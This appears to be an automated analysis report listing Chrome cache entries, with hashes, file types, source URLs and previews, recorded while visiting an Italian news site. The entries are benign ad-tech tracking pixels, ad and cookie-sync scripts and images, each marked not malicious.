Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	42
Entropy (8bit):	2.9881439641616536
Encrypted:	false
SSDEEP:	3:CUXPQE/xlEy:1QEoy
MD5:	D89746888DA2D9510B64A9F031EAECD5
SHA1:	D5FCEB6532643D0D84FFE09C40C481ECDF59E15A
SHA-256:	EF1955AE757C8B966C83248350331BD3A30F658CED11F387F8EBF05AB3368629
SHA-512:	D5DA26B5D496EDB0221DF1A4057A8B0285D15592A8F8DC7016A294DF37ED335F3FDE6A2252962E0DF38B62847F8B771463A0124EF3F84299F262ED9D9D3CEE4C
Malicious:	false
Reputation:	low
URL:	https://track.sunmedia.tv/?ap=smptf&it=22f9505a-d568-49e1-8952-cc5110fd590b&tp=ef&pos=0&loop=1&pb=1&rnd=1711615872181
Preview:	GIF89a.............!.......,...........D.;

Chrome Cache Entry: 322

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	42
Entropy (8bit):	2.9881439641616536
Encrypted:	false
SSDEEP:	3:CUXPQE/xlEy:1QEoy
MD5:	D89746888DA2D9510B64A9F031EAECD5
SHA1:	D5FCEB6532643D0D84FFE09C40C481ECDF59E15A
SHA-256:	EF1955AE757C8B966C83248350331BD3A30F658CED11F387F8EBF05AB3368629
SHA-512:	D5DA26B5D496EDB0221DF1A4057A8B0285D15592A8F8DC7016A294DF37ED335F3FDE6A2252962E0DF38B62847F8B771463A0124EF3F84299F262ED9D9D3CEE4C
Malicious:	false
Reputation:	low
URL:	https://u-iad04.e-planning.net/um?uid=2c9d0f98-4385-4c43-ba27-1zz1711615376&dc=fabfd6762b833237&fi=b908337b94350305
Preview:	GIF89a.............!.......,...........D.;

Chrome Cache Entry: 323

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image, VP8 encoding, 300x235, Scaling: [none]x[none], YUV color, decoders should clamp
Category:	downloaded
Size (bytes):	13026
Entropy (8bit):	7.98376836881502
Encrypted:	false
SSDEEP:	192:2FG9XKg8Nc4cX+LHhB/pRwV7pivzfqTTi5ZJ9QtbisoxjJ2KycGN3i5R8KxWpzBv:2cNT8Nc4cX2RY4vzfB/9QVisG26Lg1HP
MD5:	883C5DB28C4947520828323CE46E243D
SHA1:	D4CD579BC0DA968AA891B38DD0B1AA9116CC1EC0
SHA-256:	6BFE90FEADCD3D82A8AA380719A342F4935946E4DC80BA629E3FDD58E1915684
SHA-512:	BE0B4F29027A4AA86DC1A3456E52B237ADA18C5559FCCCC07EA2DDAF7F0A97A5DA8A6D56F8F0A95C9677151DD8EB836710BEC63E1DC35561E56EE63970B4057C
Malicious:	false
Reputation:	low
URL:	https://i0.wp.com/bsnews.it/wp-content/uploads/2020/12/CopGuidaPoeticaBs19_11.jpg?resize=300%2C235&ssl=1
Preview:	RIFF.2..WEBPVP8 .2.......*,...>m0.F."..).<....M..&.d/.W.O.......Q~@\|...9.R..._.z...............A.U}=..............k...........[...../...._...{.~..t.6.......y......x'.O..~....9..\_Oz..i.........._....j.....o...v.m....=....W._.=H........._<.....;.........?`.......+.c..... ...........k.......;...HrPs.._RC..Zg.\|...p......KV.yZ.....p.}n....Ua...5......agN$.....s..yc....k..4......0...(...1N........."....+..tX.yl~../(.a.y.f....#S`j./..?...{@IA.g.4..}..,c..>..{.<.k)^W..(.(...........o.:..._........x.j5#.-h?ZN..=.\M.o..X0VV.X;J_.}5..)]$.e.W.......S.......Ul...f.J..L..9.[......K....Zc8.H./W......!.{0......6y...A$...K.v.c.Cc@N.v.j....m,.:B.L....s.&-.n...az.\|a.....R......ex.\..m..h...&x....U......V2/......!~.?.C..?...J.L..`.._......,<K.....'.@.b..}........<..Q)z\.N.K.{n....?.R._..H..=.}:...)A.V...%..rk..^.6Z.....sT.6...}bb...%.#_.q.XM.<..#^C.....@..Z,...r.UXK.(....1...Y....~x...Us0...{....r..P&.........U)].o.lf....q.............mJ...!'.j..!..`..d.

Chrome Cache Entry: 324

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (6818), with no line terminators
Category:	downloaded
Size (bytes):	6818
Entropy (8bit):	5.203517430354401
Encrypted:	false
SSDEEP:	96:8NgDoheH+4+Mudxd8kpyLuoskic1igbjQzUlpys0po0hYBJnIkvZ/UDAfkGuubwR:8NDYH+7MuvCk0ldiei0opJYBhUuvFoV
MD5:	D4CBE1AB78DAFFA87B679C407AD01194
SHA1:	A85ED553D76365C9B8881E32BA94E3BFCB4A4A0D
SHA-256:	175F8873C7B8085D082A5393C8FE7A0ADCA12DE1C1393439459245D1D2B8A923
SHA-512:	82A3F495CD6401D44B4C9867A2886EB339BD82B411ED64FD1409D46478096A838EE24065883F677C022DE7C63D71710AA4DE6BD6644FF335D4534992B94B057B
Malicious:	false
Reputation:	low
URL:	https://t.seedtag.com/c/st_2.b0f430d7aacf0f108ac3.js
Preview:	(window.webpackJsonp1711523474425=window.webpackJsonp1711523474425\|\|[]).push([[2],{171:function(n,t,r){"use strict";r.d(t,"a",(function(){return T}));var e=r(0),i=r(18),o=r(9),a=r(5),u=r(4),v=r(1),c=r(34),d=r(36),f=r(44),s=r(58),p=r(73),l=r(169),m=r(37),_=r(42),g=r(172),j={};function A(n,t){var r=void 0!==n?n:10;return c.G(1e3*Math.max(t,r)\|0)}function G(n,t,r){var o=void 0!==n?n:10;return c.j(c.a(void 0),(function(n){var s=d.d(void 0),G=m.t(t),T=d.j(void 0).context,h=d.h(void 0),b=u.j(u.o(i.d(j,h),(function(n){return n.indexOf(G)>-1})),!1),S=0===s[0]&&(0===G\|\|2===G\|\|5===G),w=function(n){return u.o(m.e(n).refreshTime,(function(n){return n}))}(t),k=b\|\|S\|\|void 0===w?void 0:w>o?w:w<=o?o:void 0;if(void 0===k)return e.a(r,void 0);var D=function(n,t,r,i,u,d){var s=l.a(void 0,500,u,void 0);return c.j(c.G(s-1e3\|0),(function(s){return c.j(d,(function(d){return c.j(e.a(t,void 0),(function(d){var s=function(e,o,a,d){var f=void 0!==e&&e,s=void 0!==o&&o,p=void 0!==a?v.e(a):c.a(void 0);return D(n,t,

Chrome Cache Entry: 325

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	2.7374910194847146
Encrypted:	false
SSDEEP:	3:CUnl/7yltxlHh/:/+/
MD5:	07FFF40B5DD495ACA2AC4E1C3FBC60AA
SHA1:	E8AC224BA9EE97E87670ED6F3A2F0128B7AF9FE4
SHA-256:	A065920DF8CC4016D67C3A464BE90099C9D28FFE7C9E6EE3A18F257EFC58CBD7
SHA-512:	49B8DAF1F5BA868BC8C6B224C787A75025CA36513EF8633D1D8F34E48EE0B578F466FCC104A7BED553404DDC5F9FAFF3FEF5F894B31CD57F32245E550FAD656A
Malicious:	false
Reputation:	low
URL:	https://thrtle.com/insync?gdpr=0&gdpr_consent=&vxii_pdid=01F5328A-C4D9-44AD-8468-60A885247C68&vxii_pid=12&vxii_pid1=10067&vxii_rcid=89580623-e783-4b42-9869-9ad96a6e408b
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 326

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	101
Entropy (8bit):	4.9749117949464
Encrypted:	false
SSDEEP:	3:XzOYNRUEJDOYNRU+BhRNhC20OMAgWVVf:Xzj5JDjTrNEWVp
MD5:	024B97FF838033CE9CED686B5F532239
SHA1:	AD9E3818381D1F8EBB6DC95A12320C505627003C
SHA-256:	49BD2B6C97EB0238B1BF953C0F59D3FB636194B698222E13ECAC2D8F3752C0BD
SHA-512:	A3A1C7561F13F1DE759278406E4E1F99C00DA0218485335E29245296346074007FB6A1D9869610B0A5CA1E3F533A669C817D890E8153E11772E9A8C497E7061A
Malicious:	false
Reputation:	low
URL:	https://cdn.codesour.com/codesour/bsnews/283.prod.js
Preview:	(self.webpackChunksour=self.webpackChunksour\|\|[]).push([[283],{283:s=>{"use strict";s.exports=[]}}]);

Chrome Cache Entry: 327

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (1070)
Category:	downloaded
Size (bytes):	1109
Entropy (8bit):	5.400100310946397
Encrypted:	false
SSDEEP:	24:2dXt9WYzO5hTVK2FbzXh6vEFM+sBntvwCCZV9UkOOxTuRXKr5c:c2Yz8TVtYviMnhYJOCTuRXEc
MD5:	FBB7D63C730E3FF27A9B7DF389BB3EFD
SHA1:	CCCDBB77FCBDF59E1F095E4CCD0A69FB62B4C2E7
SHA-256:	9ADAE073D000B234A19EEF24B4391CDFC4BA52A46B159C9B06C3AFFA2FFD851F
SHA-512:	227791106E6E033DFA226ED85C8BD7009090B0ED2A1FAF390C4B22CFDB6B3887AAE0D10EAB9B3132557C3DD4F4F9E4C2B60C8032A45C20903B9A39DE49BA807E
Malicious:	false
Reputation:	low
URL:	https://partners.tremorhub.com/syncnoad?rid=30f2e100c3804685b89bc432e7fc41cf&p=Bidswitch%2Cmartinai%2C4Info%2Cquantcast%2Cadelphic%2Cdynadmic%2Cportodsp%2Cappnexus%2Cbeeswax%2C_dmp_lotame%2Ctremornet%2Cindexexchange%2C_dmp_krux%2Cadtheorent%2CBidTheatre%2C1%2Cgoogle%2Cbucksense%2Cadgear%2CTubeMogul-GP%2Cscaleout%2Cemx%2Cthetradedesk%2Cbeachfront%2Cmadhive%2C_dmp_adobe%2Cstackadapt%2Cacuityads%2CRadiumOne%2Cmediamath%2Cbrightroll%2Cadvangelists%2CTapAd%2Crocketfuel%2C_google_dfp%2Cconversant%2Cdataxu%2Cblis%2Cadform%2CPulsepoint%2Clogicad%2Csimpli.fi%2Cactiveagent%2CVideology%2Cexponential%2Ccentro%2Cdeepintent%2C_dmp_turbine%2Cdemandbase&uid=5c99a009bd184d5ca3b7885003b720e3&vv=3.0&init=true&gdpr=0&gdpr_consent=1
Preview:	<?xml version="1.0" encoding="UTF-8"?>.<VAST version="3.0" xmlns:t="http://tremorhub.com/ssp" t:status="NO_AD"><Ad ><Wrapper><AdSystem>Tremor SSP</AdSystem><VASTAdTagURI><![CDATA[https://partners.tremorhub.com/syncnoad?rid=30f2e100c3804685b89bc432e7fc41cf&p=activeagent%2Clogicad%2Cgoogle%2Cdemandbase%2Cportodsp%2Cconversant%2CTubeMogul-GP%2C1%2Cdataxu%2Ctremornet%2CVideology%2Cthetradedesk%2Cappnexus%2Ccentro%2CBidswitch%2Cstackadapt%2Cscaleout%2Cdynadmic%2Cmediamath%2CBidTheatre%2Cbeeswax%2CTapAd%2Cadgear%2CPulsepoint%2Cbrightroll%2Cbeachfront%2Cindexexchange%2CRadiumOne%2Cbucksense%2Cadform%2Cblis%2Cmadhive%2Cemx%2Cexponential%2Cadelphic%2Cadtheorent%2Csimpli.fi%2Cquantcast%2C4Info%2Cdeepintent%2Cadvangelists%2Cmartinai%2Cacuityads%2C_google_dfp%2C_dmp_turbine%2C_dmp_krux%2C_dmp_adobe%2C_dmp_lotame&uid=5c99a009bd184d5ca3b7885003b720e3&vv=3.0&gdpr=0&gdpr_consent=1 </VASTAdTagURI><Error><![CDATA[https://p.rfihub.com/cm?in=1&pub=7115&rid=30f2e100c3804685b89bc432e7fc41cf </Error><Imp

Chrome Cache Entry: 328

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (6016)
Category:	downloaded
Size (bytes):	6619
Entropy (8bit):	5.4981670160822365
Encrypted:	false
SSDEEP:	96:0PxbOc/CFAVycusEabDr1tfR+t4ejoRBmD:0PE4iAVycueDr1tfR+t49RAD
MD5:	C230DCF6598EB76F2662359BB9889BED
SHA1:	54C0323321FFC256851EC303761414571CEF3963
SHA-256:	FD98E212C5B997FB9C871A0F8C52B22C53501412E8DEC6CBB6FA346828B60479
SHA-512:	59F56254C0CACCCE5CFF53A233429489ACAC895E48BAB80C905A69EE7206229A4FD7F7D53473B4C2873EA6CD010E1115BFA1F1B0AD25C2A65AAB4F77D65089BC
Malicious:	false
Reputation:	low
URL:	https://static.sunmedia.tv/integrations/22f9505a-d568-49e1-8952-cc5110fd590b/22f9505a-d568-49e1-8952-cc5110fd590b.js
Preview:	(()=>{var n,t,defaultConfig;n=document.currentScript,defaultConfig=void 0,function(n,t){const{_loading_:e,_loaded_:d}=window?.sunmediatag?.[t]\|\|{};if(e\|\|d)return;const i=document.createElement("script");i.setAttribute("async",!0),i.src=n,document.body.appendChild(i)}("https://static.sunmedia.tv/sdks/inhome/1.46.11/inhome.js",t="INHOME-1.46.11"),window.sunmediatag=window.sunmediatag\|\|{},window.sunmediatag[t]=window.sunmediatag[t]\|\|{_loading_:!0,cmd:[]},window.sunmediatag[t].cmd.push((()=>{.defaultConfig = {"tags":{"sm":{"mobile":[{"url":"https:\/\/es-sunicontent.videoplaza.tv\/proxy\/distributor\/v2?s=BSNewsIH\/Mobile&tt=p&rt=vast_2.0&rnd=${random}&pf=html5&xpb=1&gdpr=${gdpr}&gdpr_consent=${gdpr_consent}&ru=${request.referrerurl}&vht=${request.height}&vwt=${request.width}&cp.schain=${supply_chain}&t=${VALUE}","trafficType":"DIRECT"},{"url":"https:\/\/s.richaudience.com\/vid\/dy6Atiq1JK\/${random}\/?hasConsent=1&consentString=${gdpr_consent}&schain=${supply_chain}","trafficType":"DIRECT"

Chrome Cache Entry: 330

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	42
Entropy (8bit):	2.9881439641616536
Encrypted:	false
SSDEEP:	3:CUXPQE/xlEy:1QEoy
MD5:	D89746888DA2D9510B64A9F031EAECD5
SHA1:	D5FCEB6532643D0D84FFE09C40C481ECDF59E15A
SHA-256:	EF1955AE757C8B966C83248350331BD3A30F658CED11F387F8EBF05AB3368629
SHA-512:	D5DA26B5D496EDB0221DF1A4057A8B0285D15592A8F8DC7016A294DF37ED335F3FDE6A2252962E0DF38B62847F8B771463A0124EF3F84299F262ED9D9D3CEE4C
Malicious:	false
Reputation:	low
URL:	"https://pagead2.googlesyndication.com/pcs/activeview?xai=AKAOjst8jCCjygIyw0TZpNru-qvNri-bbSyLnsHx-SBx37ouEIXw3bOBTMuc1UiL_3kTrBnpKd8R_mrNJwxGKHhVWmHSohDoFOJxBEnwpXrLnbuDdvspL3EUi1-wmqUjvgsPLRWHeQnl60o&sig=Cg0ArKJSzDErefC4Sp_HEAE&id=lidar2&mcvt=1075&p=293,853,893,1153&mtos=1075,1075,1075,1075,1075&tos=1075,0,0,0,0&v=20240325&bin=7&avms=nio&bs=0,0&mc=1&if=1&vu=1&app=0&itpl=20&adk=979779281&rs=4&la=0&cr=0&uach=WyJXaW5kb3dzIiwiMTAuMC4wIiwieDg2IiwiIiwiMTE3LjAuNTkzOC4xMzIiLG51bGwsMCxudWxsLCI2NCIsW1siR29vZ2xlIENocm9tZSIsIjExNy4wLjU5MzguMTMyIl0sWyJOb3Q7QT1CcmFuZCIsIjguMC4wLjAiXSxbIkNocm9taXVtIiwiMTE3LjAuNTkzOC4xMzIiXV0sMF0%3D&vs=4&r=v&co=754869600&rst=1711615895003&rpt=5383&isd=0&lsd=0&met=mue&wmsd=0&pbe=0&vae=0&spb=0&sfl=0&ffslot=0&reach=8&io2=0"
Preview:	GIF89a.............!.......,...........D.;

Chrome Cache Entry: 331

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 332

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	145
Entropy (8bit):	4.884880276543932
Encrypted:	false
SSDEEP:	3:PouV7uJLB3tgIOLFzT6xgCtR9VdlKatvAUzA/9H9awc9WGb:hxuJLBdZKT6xRdAEA/9dapQGb
MD5:	C2D7890409CFB8649C3694C1C65F0865
SHA1:	860F3DE48DD2EF27B9B2D32A4E0C8643E385CB95
SHA-256:	D4A33925493C1DD7B0F1306440525C32169BAF4C3133451AED9247746395B148
SHA-512:	B847E67240ECEA43DEF178AC0F739066C7EA2E7B1D88BE445CBF95F68FA32FCFD329E55843D395D6A875F2EEDA3D0A36E1DFE9991C0A4183AD8BF8627E4F0B3C
Malicious:	false
Reputation:	low
URL:	https://widgets.wp.com/likes/?ver=13.2.2
Preview:	<!DOCTYPE html>.<html>..<head>..<link rel="stylesheet" href="style.css?ver=20240208" />.</head>..<body>..<div id="target"></div>.</body>..</html>

Chrome Cache Entry: 333

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1687
Entropy (8bit):	5.261029540914676
Encrypted:	false
SSDEEP:	48:idvF8qmfxmy4nGoapig8k8mFKRVntOwmy9O4R5z:Od8qmpmy4GoaP8mFKVntOwv9Oc5z
MD5:	C73AFEA6D471E07AC40C542562DC6877
SHA1:	CBA76BDBC1768D8276F06C21838FD1F8FD6ADAA9
SHA-256:	4B16D3A756A24017AAA043412A42A62B84132CD709C0595DFD4097F82476A86C
SHA-512:	260C9CDE2F9A0E07946C9F8DD97DC02D5CFA7AD56A48BC6D2500005CD9D85C4DEC0A2B5204C3341C2FB703C851CDBEBDBF0873B81B0D382F676194167DD46DFC
Malicious:	false
Reputation:	low
Preview:	(function (sn, asap) {..var tnc = this && this.addTPScript ? this : window[(document.querySelector('script#tnc_core') \|\| {}).global \|\| '__tnc'];..tnc && tnc.addTPScript ? tnc.addTPScript(sn, function () {...var promise;...try {....var _this = this....., tncid = this.tncid \|\| ''....., eid = this.eid \|\| ''....., tpIDPlaceholder = tnc && this.metadata ? (this.metadata.ADFUID \|\| '').replace('undefined', '').replace(/^[\_]+ADF[a-z0-9]+[\_]+$/img, '') : null....., vendorId = '55b2bb61-cdc3-434a-ac07-704b66d42956'....., IABVendorId = 50....., adfendpoint = `//c1.adform.net/serving/cookie/match?party=1218&cid=${eid}\|${tncid}`....., tncendpoint = `https://im.tncid.app/gif?eid=${eid}&tncid=${tncid}&3puuid=${tpIDPlaceholder}&3pid=${vendorId}`....., options = {......height: 0,......width: 0,......tabindex: -1,......'aria-hidden': true,......style: 'position:absolute!important;top:0px!important;left:0px!important;width:0!important;height:0!important;border:0!important;'.....}, body = document.query

Chrome Cache Entry: 334

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	170
Entropy (8bit):	5.335916817166796
Encrypted:	false
SSDEEP:	3:yionv//thPlE+tnM5OCAadCmy42/uDlhlbGlo+4/iRXTECLrlxyxtyaC/tIlsg1B:6v/lhPfZMQC19s/6TdKXTECL6yR/iVB
MD5:	E7673C60AF825466F83D46DA72CA1635
SHA1:	FC0FCBEE0835709BA2D28798A612BFD687903FB5
SHA-256:	0B8A20373C6DD04E091902226D922B3688143A8938AFB9D283D889DE7B55CEB5
SHA-512:	F1C33E72643CE366FD578E3B5D393799E8C9EA27B180987826AF43B4FC00B65A4EAAE5E6426A23448956FEE99E3108C6A86F32FB4896C156E24AF0571A11C498
Malicious:	false
Reputation:	low
URL:	https://cm.g.doubleclick.net/pixel?google_nid=one_tag&google_hm=AAABjoRB2g7JbhggV30bBPudEUUVcljqtFm3og&gdpr=0&gdpr_consent=
Preview:	.PNG........IHDR....................bKGD..............pHYs.................tIME......-Q.7n....tEXtComment.Created with The GIMP.d%n....IDAT..c.iy......+........IEND.B`..

Chrome Cache Entry: 335

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	2.9889835948335506
Encrypted:	false
SSDEEP:	3:CUkxl7/lHh/:slf/
MD5:	B4491705564909DA7F9EAF749DBBFBB1
SHA1:	279315D507855C6A4351E1E2C2F39DD9CD2FCCD8
SHA-256:	4E0705327480AD2323CB03D9C450FFCAE4A98BF3A5382FA0C7882145ED620E49
SHA-512:	B8D82D64EC656C63570B82215564929ADAD167E61643FD72283B94F3E448EF8AB0AD42202F3537A0DA89960BBDC69498608FC6EC89502C6C338B6226C8BF5E14
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 336

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 324x160, components 3
Category:	dropped
Size (bytes):	13000
Entropy (8bit):	7.952340330212159
Encrypted:	false
SSDEEP:	192:p0BkcTkutgDmRVdahmBWsW3AMjGAqtvj30G/8ncBZTEfIDQf:p0BYSumXymBhVMsB3n0ncbofI0f
MD5:	DDE20177E2C5604700BC77FD21A698EC
SHA1:	1E72D916A418B35553725C00ABA5C78835EF6478
SHA-256:	58AD76084D5137243ACA1206E20F1B11731416868CD5737B74E933FC236778C7
SHA-512:	F8317238CB977C68277A8A126A520129C87AA9370654993DA81D7DC5F44B9A1E4DEFD4FA5D84ECD7C63F0983390C92D3A6B39BA8F74EBF03977ED84D8B183C7C
Malicious:	false
Reputation:	low
Preview:	......JFIF.............C.....................................%...#... , #&'))..-0-(0%()(...C...........(...((((((((((((((((((((((((((((((((((((((((((((((((((........D.."..............................................................................wn.{.Z]9.7..at..\|.\.........f...Z....5.l...FgU..k........>y..=WA..........I.....+R..`y.m....Sj.....!8.r.....@..l..)C.....i....$^.]X.uuVUEe.......?k.s.=.<..=.QS.....US....l.3...:...K..$...WN...n..w...d>b.:..DE....Cr.7Q.V.......1........G.t..yt.g..,j.4!..g.........Z..q.....gQ..e'F~.F.9.x.4&..a...AY(..;...)..n.....'.;...t.....n.&.y.T......=h.U.&W..i..I...w......-.;\|........>5.....^..[..WQ..h+" ...S,\po9N....0.l.#x...5"..N;;....gw.d..:.......<..:.H...s\|i.s.t_.u.i+3k;?.E....J.-[\|....5....At...n..]p.....<sM.....s....BpV....3B~6..f..3h.s..!8O013C.Z..... ....N.3..G09.Wo..n...j.W%...}Id..9g5W\.w..".{Z....^yL...S$...G5r...s.[.....DTW#.v.[#p....:d:du...E.4...y....p.....d..#].$.$..8.a.!.a.C:a.a;!.a.!.

Chrome Cache Entry: 337

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (625), with no line terminators
Category:	downloaded
Size (bytes):	625
Entropy (8bit):	5.440928150736179
Encrypted:	false
SSDEEP:	12:C3HE4RBHcX3pMG0R1jMBSBHcX3hyIwCcqHc813ZFQHc4PkDp:C04RB+aRiSB+N3p1JyNKp
MD5:	3251D6BA99FE256C9FE8319CAA01E4CD
SHA1:	60D92D36980CF298EA5B8F83B39F8B88BECB8DB7
SHA-256:	0613E6FFBC85A49CE69C5B1FBAB9159FF68BA1D7D2C5EC3BD690FE056B2F97B6
SHA-512:	65BECCB0364B104686B9ED261922B21620CDC693FE4A1B917B2E78C6DE09F4C798B2919122301E9DD58ABB547FD57788E81944ADE86A51C49795CD3040386AD3
Malicious:	false
Reputation:	low
URL:	https://image6.pubmatic.com/AdServer/PugMaster?sec=1&async=1&kdntuid=1&rnd=7390052&p=156423&s=0&a=0&ptask=ALL&np=0&fp=0&rp=1&mpc=0&spug=1&coppa=0&gdpr=0&gdpr_consent=&us_privacy=
Preview:	PubMatic.loadAsyncImagePixel('https://a.audrte.com/match?gdpr=0&gdpr_consent=&p=M1717054901&uid=01F5328A-C4D9-44AD-8468-60A885247C68');PubMatic.loadAsyncImagePixel('https://aa.agkn.com/adscores/g.pixel?sid=9212308278&puid=01F5328A-C4D9-44AD-8468-60A885247C68');PubMatic.loadAsyncImagePixel('https://uipglob.semasio.net/pubmatic/1/info?sType=sync&sExtCookieId=01F5328A-C4D9-44AD-8468-60A885247C68&sInitiator=external&gdpr=0&gdpr_consent=');PubMatic.loadAsyncImagePixel('https://pixel.onaudience.com/?partner=214&mapped=01F5328A-C4D9-44AD-8468-60A885247C68&gdpr=0&gdpr_consent=');PubMatic.PugMasterCallback(false, false, true);

Chrome Cache Entry: 338

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	1662
Entropy (8bit):	5.019887540191818
Encrypted:	false
SSDEEP:	24:hYkCn0Xi5rXW9jgFi5GtZYAWnyfdWiaM/Njv3igeHa/UfbJijCV6/MBggE4NkIM:BnSxmBAsfM/N7JZ/UfdijCY/MB53N5M
MD5:	B47E18B9602901B4442894ACF9EFA708
SHA1:	7BDC44B5C2D6ED73405A512A0D25D096C6F6068B
SHA-256:	C16A536E9381A97C5D473A2B70AA9057BCEEBE38F05BB7D90360C96BFF579033
SHA-512:	4C58D58D21E66682EF6B9DEB3821BEB89834F69EDA4CD7471AD132B698A6E11E8E6B2D04620DFDD6B6B9A06CA6DFAC36C96AD12233A359CF1F02329CDEA917DD
Malicious:	false
Reputation:	low
URL:	https://ads.pubmatic.com/AdServer/js/topics/topics_frame.html?bidder=pubmatic
Preview:	<!DOCTYPE html>.<html lang="en">..<head>. <title>Topics demo</title>. <meta charset="utf-8">. <meta http-equiv="X-UA-Compatible" content="IE=edge">. <meta name="viewport" content="width=device-width, initial-scale=1">. <meta http-equiv="origin-trial". content="AseYc2DtZGb//W5XVWgcoP6UF3L+dzpvN5W30ZfyW0aY9GPRVT9CgZXlFz8KHt25ohltfnkuImnAY3JETFGc+AgAAABfeyJvcmlnaW4iOiJodHRwczovL2Fkcy5wdWJtYXRpYy5jb206NDQzIiwiZmVhdHVyZSI6IlByaXZhY3lTYW5kYm94QWRzQVBJcyIsImV4cGlyeSI6MTY4ODA4MzE5OX0=">. <link href="favicon.ico" rel="shortcut icon">. <script>. async function getTopics() {. try {. if (. "browsingTopics" in document &&. document.featurePolicy.allowsFeature("browsing-topics"). ) {. const topics = await document.browsingTopics();. console.log(. "Called iframe:",. window.location.hostname,. topics,. "\nNumber of topics: ",. topics.length. );. return Promise.re

Chrome Cache Entry: 339

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, comment: "CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 90", baseline, precision 8, 50x50, components 3
Category:	downloaded
Size (bytes):	1128
Entropy (8bit):	7.327339770691606
Encrypted:	false
SSDEEP:	24:OJf+Yo0XxDuLHeOWXG4OZ7DAJuLHenX3/vTxwMM+OyiKbCVlH2rm2:UfauERAhTGpfyiiC+
MD5:	E597F08DF9D7E7E7C7DC81A9A507FA13
SHA1:	21A18956EE50FF937CBE9E428A63EFA52DD25BB8
SHA-256:	EC626D1355EF5D84689C88B2EC9E383FA16B0BE9C068FE5FC913BE061542EDBC
SHA-512:	B8A75FB43B028302A41A0380200F9D82BD8572F8BA681768944E92FCD6EE0B732E6F95F00D703ABD7964C619584493379FA54B391825CB119AA64246C5B1CD2B
Malicious:	false
Reputation:	low
URL:	https://secure.gravatar.com/avatar/?s=50&d=mm&r=g
Preview:	......JFIF.....`.`.....;CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 90....C....................................................................C.......................................................................2.2.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?...O...K..%2K#.E.I<.@..^...n.l..".^....v.....S.V....B.).4.\|\|.[..~.......+W....:..s.........5......~4P..]'...e..z..g.....sx55...p...&..z.h..Lq@...i..+.....\|."...S.V...g.IJ;............gH.7........`...A?...&.&.H..w..0.....XX....M.P...5.,oo...F$f......\|....y..WW......;.y?.}..).K........(..4sI...

Chrome Cache Entry: 340

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	667
Entropy (8bit):	4.652976031738474
Encrypted:	false
SSDEEP:	12:hY0Jr3vFnmVJFIGhgz4nj22voE+mm3wBGwVheyMyfFHlxF4AEduQL:hY0JpcJNhA4njvi3w0ih0IDfNEr
MD5:	A52151DBF5B2CA563E40CCCA1AB8228C
SHA1:	0B95BE14BE5CC66EEC161F763544841A1928CF9B
SHA-256:	C71355492CDEADE1155131C41890D0C9B72C0A0CA5BC0BDAC56771F5FAF74391
SHA-512:	B36E26E139C66695B5B8BDED99314C3B45EF7753EBD15DC7083346F60F07EAE32C9F4D16CB3F76F6CA3FE3A50F455827AF9D16EB3940721B5795F72E3EEFFDAD
Malicious:	false
Reputation:	low
